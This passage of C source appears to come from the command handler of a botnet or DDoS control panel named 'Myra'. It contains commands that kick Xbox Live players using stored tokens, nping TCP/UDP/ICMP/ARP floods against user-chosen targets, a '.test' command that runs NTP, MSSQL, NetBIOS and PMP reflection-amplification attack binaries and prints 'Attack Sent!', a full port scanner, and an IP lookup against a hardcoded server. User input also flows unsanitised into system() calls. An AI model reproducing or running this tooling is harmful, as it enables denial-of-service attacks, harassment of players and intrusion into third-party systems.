4273 if(send(clear_myra_broadcast, xboxtokenverification, strlen(xboxtokenverification), MSG_NOSIGNAL) == -1) return;
4274 }
4275 if (strstr(myra_buffer_size, ".xbox-party") || strstr(myra_buffer_size, ".XBOX-PARTY"))
4276 {
4277 FILE *fp;
4278 char ip[10000];
4279 char path[5000];
4280
4281 char xbox_token[4096];
4282 char token_file[4096];
4283 strcpy(token_file, "xbox-users/");
4284 strcat(token_file, accounts[find_line].username);
4285 strcat(token_file, "/tokendata.txt");
4286 read_file_contents(token_file, xbox_token);
4287
4288 char gamertag[15];
4289 char gt_file[PATH_MAX];
4290 strcpy(gt_file, "xbox-users/");
4291 strcat(gt_file, accounts[find_line].username);
4292 strcat(gt_file, "/gamertag.txt");
4293 read_file_contents(gt_file, gamertag);
4294
4295
4296 /* Open the command for reading. */
4297 sprintf(ip, "xbox-users/xpull -g \"%s\" -t \"%s\"", gamertag, xbox_token);
4298 fp = popen(ip, "r");
4299 if (fp == NULL) {
4300 printf("Failed to run command\n");
4301 exit(1);
4302 }
4303 /* Read the output a line at a time - output it. */
4304 while (fgets(path, sizeof(path), fp) != NULL) {
4305 char puta [300];
4306 sprintf(puta, "\e[38;5;225m%s\r", path);
4307 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4308 }
4309 /* close */
4310 pclose(fp);
4311 }
4312 if (strstr(myra_buffer_size, ".open-party") || strstr(myra_buffer_size, ".OPEN-PARTY"))
4313 {
4314 FILE *fp;
4315 char ip[10000];
4316 char path[5000];
4317
4318 char xbox_token[4096];
4319 char token_file[4096];
4320 strcpy(token_file, "xbox-users/");
4321 strcat(token_file, accounts[find_line].username);
4322 strcat(token_file, "/tokendata.txt");
4323 read_file_contents(token_file, xbox_token);
4324
4325 char gamertag[15];
4326 char gt_file[PATH_MAX];
4327 strcpy(gt_file, "xbox-users/");
4328 strcat(gt_file, accounts[find_line].username);
4329 strcat(gt_file, "/gamertag.txt");
4330 read_file_contents(gt_file, gamertag);
4331
4332
4333 /* Open the command for reading. */
4334 sprintf(ip, "xbox-users/xclose -g \"%s\" -c false -t \"%s\"", gamertag, xbox_token);
4335 fp = popen(ip, "r");
4336 if (fp == NULL) {
4337 printf("Failed to run command\n");
4338 exit(1);
4339 }
4340 /* Read the output a line at a time - output it. */
4341 while (fgets(path, sizeof(path), fp) != NULL) {
4342 char puta [300];
4343 sprintf(puta, "\e[38;5;225m%s\r", path);
4344 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4345 }
4346 /* close */
4347 pclose(fp);
4348 }
4349 if (strstr(myra_buffer_size, ".close-party") || strstr(myra_buffer_size, ".CLOSE-PARTY"))
4350 {
4351 FILE *fp;
4352 char ip[10000];
4353 char path[5000];
4354
4355 char xbox_token[4096];
4356 char token_file[4096];
4357 strcpy(token_file, "xbox-users/");
4358 strcat(token_file, accounts[find_line].username);
4359 strcat(token_file, "/tokendata.txt");
4360 read_file_contents(token_file, xbox_token);
4361
4362 char gamertag[15];
4363 char gt_file[PATH_MAX];
4364 strcpy(gt_file, "xbox-users/");
4365 strcat(gt_file, accounts[find_line].username);
4366 strcat(gt_file, "/gamertag.txt");
4367 read_file_contents(gt_file, gamertag);
4368
4369
4370 /* Open the command for reading. */
4371 sprintf(ip, "xbox-users/xclose -g \"%s\" -c true -t \"%s\"", gamertag, xbox_token);
4372 fp = popen(ip, "r");
4373 if (fp == NULL) {
4374 printf("Failed to run command\n");
4375 exit(1);
4376 }
4377 /* Read the output a line at a time - output it. */
4378 while (fgets(path, sizeof(path), fp) != NULL) {
4379 char puta [300];
4380 sprintf(puta, "\e[38;5;225m%s\r", path);
4381 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4382 }
4383 /* close */
4384 pclose(fp);
4385 }
4386 if (strstr(myra_buffer_size, ".xbox-kick") || strstr(myra_buffer_size, ".XBOX-KICK"))
4387 {
4388 char iptarget[5000];
4389 char *token = strtok(myra_buffer_size, " ");
4390 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4391 trim_removev2(iptarget);
4392 FILE *fp;
4393 char ip[10000];
4394 char path[5000];
4395
4396 char xbox_token[4096];
4397 char token_file[4096];
4398 strcpy(token_file, "xbox-users/");
4399 strcat(token_file, accounts[find_line].username);
4400 strcat(token_file, "/tokendata.txt");
4401 read_file_contents(token_file, xbox_token);
4402
4403 char gamertag[15];
4404 char gt_file[PATH_MAX];
4405 strcpy(gt_file, "xbox-users/");
4406 strcat(gt_file, accounts[find_line].username);
4407 strcat(gt_file, "/gamertag.txt");
4408 read_file_contents(gt_file, gamertag);
4409
4410
4411 /* Open the command for reading. */
4412 sprintf(ip, "xbox-users/xkick -u \"%s\" -g \"%s\" -t \"%s\"", gamertag, iptarget, xbox_token);
4413 fp = popen(ip, "r");
4414 if (fp == NULL) {
4415 printf("Failed to run command\n");
4416 exit(1);
4417 }
4418 /* Read the output a line at a time - output it. */
4419 while (fgets(path, sizeof(path), fp) != NULL) {
4420 char puta [300];
4421 sprintf(puta, "\e[38;5;225m%s\r", path);
4422 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4423 }
4424 /* close */
4425 pclose(fp);
4426 }
4427
4428 /* End of Myra's Xbox Live Kick Function */
4429
4430 if (strstr(myra_buffer_size, ".tcpadv-ping") || strstr(myra_buffer_size, ".TCPADV-PING"))
4431 {
4432 char iptarget[5000];
4433 char *token = strtok(myra_buffer_size, " ");
4434 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4435 trim_removev2(iptarget);
4436 FILE *fp;
4437 char *ip[5000];
4438 char path[5000];
4439 /* Open the command for reading. */
4440 sprintf(ip, "timeout 60 nping --tcp -dddd -p %s -c 1000", iptarget);
4441 fp = popen(ip, "r");
4442 if (fp == NULL) {
4443 printf("Failed to run command\n");
4444 exit(1);
4445 }
4446 /* Read the output a line at a time - output it. */
4447 while (fgets(path, sizeof(path), fp) != NULL) {
4448 char puta [5000];
4449 sprintf(puta, "\r \e[38;5;225m%s", path);
4450 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4451 }
4452 /* close */
4453 pclose(fp);
4454 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4455 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4456 }
4457 if (strstr(myra_buffer_size, ".udpadv-ping") || strstr(myra_buffer_size, ".UDPADV-PING"))
4458 {
4459 char iptarget[5000];
4460 char *token = strtok(myra_buffer_size, " ");
4461 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4462 trim_removev2(iptarget);
4463 FILE *fp;
4464 char *ip[5000];
4465 char path[5000];
4466 /* Open the command for reading. */
4467 sprintf(ip, "timeout 60 nping --udp -dddd -p %s -c 1000", iptarget);
4468 fp = popen(ip, "r");
4469 if (fp == NULL) {
4470 printf("Failed to run command\n");
4471 exit(1);
4472 }
4473 /* Read the output a line at a time - output it. */
4474 while (fgets(path, sizeof(path), fp) != NULL) {
4475 char puta [5000];
4476 sprintf(puta, "\r \e[38;5;225m%s", path);
4477 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4478 }
4479 /* close */
4480 pclose(fp);
4481 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4482 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4483 }
4484 if (strstr(myra_buffer_size, ".arpadv-ping") || strstr(myra_buffer_size, ".ARPADV-PING"))
4485 {
4486 char iptarget[5000];
4487 char *token = strtok(myra_buffer_size, " ");
4488 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4489 trim_removev2(iptarget);
4490 FILE *fp;
4491 char *ip[5000];
4492 char path[5000];
4493 /* Open the command for reading. */
4494 sprintf(ip, "timeout 60 nping -dddd --arp %s -c 1000", iptarget);
4495 fp = popen(ip, "r");
4496 if (fp == NULL) {
4497 printf("Failed to run command\n");
4498 exit(1);
4499 }
4500 /* Read the output a line at a time - output it. */
4501 while (fgets(path, sizeof(path), fp) != NULL) {
4502 char puta [5000];
4503 sprintf(puta, "\r \e[38;5;225m%s", path);
4504 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4505 }
4506 /* close */
4507 pclose(fp);
4508 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4509 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4510 }
4511 if (strstr(myra_buffer_size, ".icmpadv-ping") || strstr(myra_buffer_size, ".ICMPADV-PING"))
4512 {
4513 char iptarget[5000];
4514 char *token = strtok(myra_buffer_size, " ");
4515 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1);
4516 trim_removev2(iptarget);
4517 FILE *fp;
4518 char *ip[5000];
4519 char path[5000];
4520 /* Open the command for reading. */
4521 sprintf(ip, "timeout 60 nping -dddd --icmp %s -c 1000", iptarget);
4522 fp = popen(ip, "r");
4523 if (fp == NULL) {
4524 printf("Failed to run command\n");
4525 exit(1);
4526 }
4527 /* Read the output a line at a time - output it. */
4528 while (fgets(path, sizeof(path), fp) != NULL) {
4529 char puta [5000];
4530 sprintf(puta, "\r \e[38;5;225m%s", path);
4531 if(send(clear_myra_broadcast, puta, strlen(puta), MSG_NOSIGNAL) == -1) return;
4532 }
4533 /* close */
4534 pclose(fp);
4535 sprintf(myra, "\r \e[38;5;134mSubstrate has closed your ping successfully !\r\n");
4536 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4537 }
4538 if (strstr(myra_buffer_size, ".test") || strstr(myra_buffer_size, ".TEST")) // System Command Function
4539 {
4540 char iptarget[5000]; // Char Every Line For Output Communication
4541 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
4542 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
4543 trim_removev2(iptarget); // Trim [iptarget]
4544 char *ipkill[5000]; // Creating A System Function
4545 trim_removev2(ipkill); // Trim [ipkill]
4546 sprintf(ipkill, "./amp/methods/layer4/v1/custom/pmp-pmp/pmp-pmp %s amp/methods/layer4/v1/custom/pmp-pmp/pmp.txt 2 500;", iptarget);
4547 sprintf(ipkill, "./amp/methods/layer4/v1/reflection/mssql/mssql %s amp/methods/layer4/v1/reflection/mssql/mssql.txt 2 -1 500;", iptarget);
4548 sprintf(ipkill, "./amp/methods/layer4/v1/reflection/netbios/netbios %s amp/methods/layer4/v1/reflection/netbios/netbios.txt 2 -1 60;", iptarget);
4549 sprintf(ipkill, "./amp/methods/layer4/v1/reflection/ntp/ntp %s amp/methods/layer4/v1/reflection/ntp/ntp.txt 2 -1 500", iptarget);
4550 system(ipkill); // System Execution
4551 sprintf(myra, " \e[38;5;225m╔══════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mAttack Sent! \e[38;5;225m ║ ╔════════════════════════════╗\r\n \e[38;5;225m║ \e[38;5;168mMethod: ZCH-CRI \e[38;5;225m ╠══════╣ \e[38;5;168m. STOP to stop the attack! \e[38;5;225m║\r\n \e[38;5;225m║ \e[38;5;168mUsage: SPECIAL \e[38;5;225m ║ ╚════════════════════════════╝\r\n \e[38;5;225m╚══════════════════════╝\r\n");
4552 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4553 }
4554 else if (strstr(myra_buffer_size, ".chooky") || strstr(myra_buffer_size, ".chooky")) // System Command Function -- [TESTING HERE]
4555 {
4556 char command[70];
4557 trim_removev2(command);
4558 strcpy(command, "python scripts/IPHM_Attack_Process_Killer.py" );
4559 system(command);
4560 sprintf(myra, " \r\n");
4561 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4562 }
4563 else if (strstr(myra_buffer_size, ".nts off") || strstr(myra_buffer_size, ".tfs off") || strstr(myra_buffer_size, ".sds off") || strstr(myra_buffer_size, ".pos off") || strstr(myra_buffer_size, ".cos off") || strstr(myra_buffer_size, ".sos off") || strstr(myra_buffer_size, ".nes off") || strstr(myra_buffer_size, ".mss off") || strstr(myra_buffer_size, ".tss off"))// System Command Function -- [TESTING HERE]
4564 {
4565 char command[70];
4566 trim_removev2(command);
4567 strcpy(command, "python scripts/IPHM_Scanner_Process_Killer.py" );
4568 system(command);
4569 sprintf(myra, " \r\n");
4570 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4571 }
4572 if (strstr(myra_buffer_size, ".install") || strstr(myra_buffer_size, ".INSTALL")) // System Command Function -- [TESTING HERE]
4573 {
4574 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
4575 {
4576 char command[50];
4577 trim_removev2(command);
4578 strcpy(command, "python install.py" );
4579 system(command);
4580 sprintf(myra, "\e[38;5;134mAll IP-Header Modification Based methods downloaded!\r\n");
4581 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4582 }
4583 else
4584 {
4585 sprintf(myra, "\e[38;5;134mOwners Only!!\r\n");
4586 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4587 }
4588 }
4589 if (strstr(myra_buffer_size, ".SEARCH") || strstr(myra_buffer_size, ".search")) // Resolve Command - Function Requires 'resolve.h'
4590 {
4591 char *internet_protocol[100]; // Char Every Line For Output Communication
4592 char *token = strtok(myra_buffer_size, " "); // Char Every Line For Output Communication
4593 char *url = token+sizeof(token); // Char Every Line For Output Communication
4594 trim_removev2(url); // Trim [Url]
4595 resolve(url, internet_protocol); // Using User Input - Stated As 'Url' or 'IP' - We Use This In The Resolver Function
4596 sprintf(myra, "\e[38;5;168mResolved \e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mto \e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]\r\n", url, internet_protocol); // Resolver Output
4597 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4598 }
4599 if(strstr(myra_buffer_size, ".adduser") || strstr(myra_buffer_size, ".ADDUSER") || strstr(myra_buffer_size, "adduser") || strstr(myra_buffer_size, "ADDUSER")) // Add User Function, This Allows Us To Easily Add A New User To The Network, Without Having To Manually Edting The login.txt
4600 {
4601 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
4602 {
4603 char *token = strtok(myra_buffer_size, " "); // Char Every Line For Output Communication
4604 char *userinfo = token+sizeof(token); // Char Every Line For Output Communication
4605 trim_removev2(userinfo); // Trim [Userinfo]
4606 char *uinfo[50]; // Char Every Line For Output Communication
4607 sprintf(uinfo, "echo '%s' >> myra.txt", userinfo); // We Are Editing The Following File --> 'myra.txt' Which Is Our 'Login.txt'
4608 system(uinfo); // Access Of System Functions In Order To Edit The File From The Communicating Screen
4609 printf("\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mAdded User\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\n", accounts[find_line].username, userinfo); // Adding User - Output
4610 sprintf(myra, "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mSuccessfully Added!\r\n", userinfo); // Adding User - Output
4611 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4612 }
4613 else
4614 {
4615 sprintf(myra, "Admins Only!\r\n");
4616 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4617 }
4618 }
4619// else if(strstr(myra_buffer_size, ".deluser") || strstr(myra_buffer_size, ".DELUSER")
4620// {
4621// if(strcmp(Admin, accounts[find_line].identification_type) == 0)
4622// {
4623// int kdm;
4624// char deluser[50];
4625// if(send(clear_myra_broadcast, "\x1b[1;36mUsername: \x1b[37m", strlen("\x1b[1;36mUsername: \x1b[37m"), MSG_NOSIGNAL) == -1) goto finish_integer;
4626// memset(deluser, 0, sizeof(deluser));
4627// while(buffer_size_string_compare(deluser, sizeof deluser, clear_myra_broadcast) < 1)
4628// {
4629// trim_removev2(deluser);
4630// if(strlen(deluser) < 3) continue;
4631// break;
4632// }
4633// trim_removev2(deluser);
4634// rmstr(deluser, ACC_FILE);
4635// sprintf(myra, "\x1b[1;36mDeleted User \x1b[0m(\x1b[1;36m%s\x1b[0m)...\r\n", deluser);
4636// if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer;
4637// for(kdm = 0; kdm < max_file_descriptor_value; kdm++)
4638// {
4639// if(!managers[kdm].transmitted_successfully) continue;
4640// if(!strcmp(managers[kdm].username, deluser))
4641// {
4642// close(kdm);
4643// managers[kdm].transmitted_successfully = 0;
4644// memset(managers[kdm].username, 0, sizeof(managers[kdm].username));
4645// }
4646// }
4647// }
4648// else
4649// {
4650// sprintf(myra, "\x1b[31mPermission Denied, Admins Only!\x1b[37m\r\n");
4651// if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4652// }
4653// }
4654 else if(strstr(myra_buffer_size, "PORTSCAN") || strstr(myra_buffer_size, "portscan")) // Portscan Function - Easy And Stable Port Scan [II]
4655 {
4656 int unknown_integer; // We State X As The Unknown Integer [This Will Be The User Input]
4657 int timeout_portscan = 3; // Create An Integer For The Time-Out, This Will Minimise Network Saturation
4658 int start_port = 1; // Create An Integer For The First Port - [We Need A Start Point Of Course]
4659 int end_port = 65535; // Create An Integer For The First Port - [We Need A End Point Of Course]
4660 char host[16]; // Char Every Line For Output Communication
4661 trim_removev2(myra_buffer_size); // Trim [Buffer]
4662 char *token = strtok(myra_buffer_size, " "); // Char Every Line For Output Communication
4663 snprintf(host, sizeof(host), "%s", token+strlen(token)+1); // Check Host, Create '+1' Token, Then Use 'Botnet'
4664 snprintf(myra, sizeof(myra), "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mChecking ports \e[38;5;134m[\e[38;5;168m%d\e[38;5;134m] \e[38;5;168mthrough \e[38;5;134m[\e[38;5;168m%d\e[38;5;134m] \e[38;5;168mFor IP\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\x1b[0m\r\n", start_port, end_port, host);
4665 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // We Will Terminate Concurrent Function And Carry on.. Use Values As Follows 'unknown_integer'
4666 for(unknown_integer=start_port; unknown_integer < end_port; unknown_integer++) // We Start From The Lowest Port To Biggest Port
4667 {
4668 int socket_propulsion_data = -1; // Create Integer For Socket - '-1'
4669 struct timeval timeout; // We Are Creating A Timing System - This Is For Timeout, Creating Struct. For 'timeval-timeout'
4670 struct sockaddr_in sock; // Struct. Creation Of socket_propulsion_data-Address
4671 // set timeout secs
4672 timeout.tv_sec = timeout_portscan; // Timeout - tv
4673 timeout.tv_usec = 0; // Timeout - tv_usec
4674 socket_propulsion_data = socket(AF_INET, SOCK_STREAM, 0); // Create Our TCP Socket Using AF_INET
4675 setsockopt(socket_propulsion_data, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)); // Setsockopt -- This Is Our RCV Time -- [Received]
4676 setsockopt(socket_propulsion_data, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)); // Setsockopt -- This Is Our SND Time -- [Sending]
4677 sock.sin_family = AF_INET; // Socket-Sin, Family -- Using AF_INET
4678 sock.sin_port = htons(unknown_integer); // Using 'htons' Set As The 'unknown_integer' Value
4679 sock.sin_addr.s_addr = inet_addr(host); // State The 'inet' As The Host, Suffix Has Been Created, So Process Is Independent
4680 if(connect(socket_propulsion_data, (struct sockaddr *)&sock, sizeof(sock)) == -1) close(socket_propulsion_data); // If The Packet Returned, It Will Not Be Displayed
4681 else
4682 { // If The Packet Returns From Handshake, The Port Is Open
4683 snprintf(myra, sizeof(myra), "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mPort\e[38;5;134m:[\e[38;5;168m%d\e[38;5;134m] \e[38;5;168mis open For IP\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\x1b[0m\r\n", unknown_integer, host);
4684 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4685 memset(myra, 0, sizeof(myra)); // Fill In Data Block, Let's Keep Our Communication Stable
4686 close(socket_propulsion_data); // Kill Our Open Socket - TCP
4687 }
4688 } // Scan Is Done -- Output
4689 snprintf(myra, sizeof(myra), "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mScan on IP\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mis Done!\x1b[0m\r\n", host);
4690 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4691 }
4692 else if(strstr(myra_buffer_size, "lelokman") || strstr(myra_buffer_size, "lelokman"))
4693 {
4694 char myhost[20]; // Char Every Line For Output Communication
4695 char ki11[1024]; // Char Every Line For Output Communication // Ip Lookup Function
4696 snprintf(ki11, sizeof(ki11), "%s", myra_buffer_size); // Using Kill Prefix For Dynamic Integer
4697 trim_removev2(ki11); // Trim [ki11]
4698 char *token = strtok(ki11, " "); // Char Every Line For Output Communication
4699 snprintf(myhost, sizeof(myhost), "%s", token+strlen(token)+1); // Host Size Statement, This Is For OCMIS [PSL-0012]
4700 if(atoi(myhost) >= 8) // Bigger Than Int Value Of 8
4701 {
4702 int IPL_DATA; // Create Integer For 'IPL_DATA' -- Used In Each Value, For Time-Out Sequence
4703 int ipl_integer_size = -1; // State IPLSOCK == -1 [Shouldn't Class With The Open Socket Via TCP]
4704 char buffer_IPL[1024]; // Char Every Line For Output Communication
4705 int source_port = 80; // Set Default Connection Port As [62141]
4706 char ip_lookup_headers[1024]; // Char Every Line For Output Communication
4707 struct timeval timeout; // Create Struct. For Time Interval Timeout
4708 struct sockaddr_in sock; // Create Another Struct. For Socket-Address -> Socket
4709 char *iplookup_host = "91.134.3.214"; // Change to Server IP - [EDIT HERE]
4710 timeout.tv_sec = 4; // 4 second timeout
4711 timeout.tv_usec = 0; // 0 second -- Run Function
4712 ipl_integer_size = socket(AF_INET, SOCK_STREAM, 0); // Running Socketstream, Using Set Values - We Are Concurrent
4713 sock.sin_family = AF_INET; // Socket Sin == Sin.family, Engages Better With Output Connection
4714 sock.sin_port = htons(source_port); // htons, Is Dependent On The Connection Port -- Integer States Are Constant
4715 sock.sin_addr.s_addr = inet_addr(iplookup_host); // Coherent Connection - Will Kill Socket If Lookup Is Incomplete
4716 if(connect(ipl_integer_size, (struct sockaddr *)&sock, sizeof(sock)) == -1) // Check Using ipl_integer_size, If Connection Has Been Reached
4717 {
4718 //printf("[\x1b[31m-\x1b[37m] Failed to connect to iplookup host server...\n");
4719 sprintf(myra, "\x1b[31m[IPLookup] Failed to connect to iplookup server...\x1b[0m\r\n", myhost);
4720 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4721 }
4722 else // Else...
4723 {
4724 //printf("[\x1b[32m+\x1b[37m] Connected to iplookup server :)\n"); This Below, Is Our Header Sent To The API, This Shouldn't Cause Problems..
4725 snprintf(ip_lookup_headers, sizeof(ip_lookup_headers), "GET /iplookup.php?host=%s HTTP/1.1\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding:gzip, deflate, sdch\r\nAccept-Language:en-US,en;q=0.8\r\nCache-Control:max-age=0\r\nConnection:keep-alive\r\nHost:%s\r\nUpgrade-Insecure-Requests:1\r\nUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\r\n\r\n", myhost, iplookup_host);
4726 if(send(ipl_integer_size, ip_lookup_headers, strlen(ip_lookup_headers), 0))
4727 {
4728 //printf("[\x1b[32m+\x1b[37m] Sent request headers to iplookup api!\n");
4729 sprintf(myra, "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mGathering Information On IP:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]\r\n", myhost); // IP Info -- Output
4730 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return;
4731 char ch; // Char Every Line For Output Communication
4732 int retrv = 0; // Create Integer For 'Retrv' -- [OPEN INT == 0]
4733 uint32_t header_parser = 0; // Let's Create A Header Parse, Under 32-bit Unsigned Integer, This Allows Accurate Value Statement
4734 while (header_parser != 0x0D0A0D0A) // Set Header Parse Value = '0x0D0A0D0A'
4735 {
4736 if ((retrv = read(ipl_integer_size, &ch, 1)) != 1) // Check For Success, Using IPL socket_propulsion_data
4737 break;
4738
4739 header_parser = (header_parser << 8) | ch; // Change Parser Value, Below '8'
4740 }
4741 memset(buffer_IPL, 0, sizeof(buffer_IPL)); // Fill Data Block, Stabilises On-going Process, Using Socket-Buffer
4742 while(IPL_DATA = read(ipl_integer_size, buffer_IPL, 1024)) // Set Ret, To Read -- Buffer Size Stated Coherently, [1024]
4743 {
4744 buffer_IPL[IPL_DATA] = '\0'; // Break, Below Is An Alternative If A Second Function Is Added
4745 /*if(strlen(buffer_IPL) > 1)
4746 printf("\x1b[36m%s\x1b[37m\n", buffer);*/
4747 }
4748 //printf("%s\n", buffer_IPL); <---- This Would Be Used, If No Error Handling Is Needed. The User Will Not Be Informed With DETAILS
4749 if(strstr(buffer_IPL, "<title>404")) // Use Header Title + Error 404 [Assumption Error = 404]
4750 {
4751 char iplookup_host_token[20]; // Char Every Line For Output Communication
4752 sprintf(iplookup_host_token, "%s", iplookup_host); // %s Is Our Host Token, Set This As Our DISPLAY Variable
4753 int ip_prefix = atoi(strtok(iplookup_host_token, ".")); // Create Integer For The IP Prefix, This Is Defined Using Our Received host_token
4754 sprintf(myra, "\x1b[31m[IPLookup] Failed, API can't be located on server %d.*.*.*:62141\x1b[0m\r\n", ip_prefix); // Error Handling -- No API Was Found, Defined By Host Token
4755 memset(iplookup_host_token, 0, sizeof(iplookup_host_token)); // Fill Data Block Again, We Do This For Every Function, To Stop Instability and Saturation
4756 }
4757 else if(strstr(buffer_IPL, "nickers")) // Hehe.. ( ͡° ͜ʖ ͡°)
4758 sprintf(myra, "\x1b[31m[IPLookup] Failed, Hosting server needs to have php installed for api to work...\x1b[0m\r\n"); // Error Handling, Hosting Has No PHP..
4759 else sprintf(myra, "[+] \x1b[0m--- Results\x1b[0m --- [+]\r\n\x1b[0m%s\x1b[37m\r\n", buffer_IPL); // Output Results, From IP Lookup
4760 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4761 }
4762 else
4763 {
4764 //printf("[\x1b[31m-\x1b[37m] Failed to send request headers...\n");
4765 sprintf(myra, "\x1b[31m[IPLookup] Failed to send request headers...\r\n"); // Header Send[ Failed -- Probably Due To Some Sort Of DDoS Protection, [Cloudflare, Blazing, Etc..]
4766 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
4767 }
4768 }
4769 close(ipl_integer_size); // Terminate Allocated Statement, Open Socket, May Cause Numerous Network Problems If Not Killed...
4770 }
4771 }
4772 if(strstr(myra_buffer_size, ".logout") || strstr(myra_buffer_size, ".LOGOUT")) // Logout Command, So The User Exits Safely And In Fashion.. Of course...
4773 {
4774 printf("\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mHas Logged Out!\n", accounts[find_line].username, myra_buffer_size); // We Are Attempting To Logout!
4775 FILE *myra_log_file;// We Are Attempting To Logout!
4776 myra_log_file = fopen("logs/Myra_Logout.log", "a");// We Are Attempting To Logout!
4777 fprintf(myra_log_file, "\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m]\e[38;5;168m User\e[38;5;134m:[\e[38;5;168m%s\e[38;5;134m]\e[38;5;168m Has Logged Out!\n", accounts[find_line].username, myra_buffer_size);// We Are Attempting To Logout!
4778 fclose(myra_log_file);// We Are Attempting To Logout!
4779 goto finish_integer; // We Are Dropping Down to finish_integer:
4780 } // Let Us Continue Our Journey!
4781 if(strstr(myra_buffer_size, "STOP")) // STOP OUR ATTACK
4782 { // Let Us Continue Our Journey!
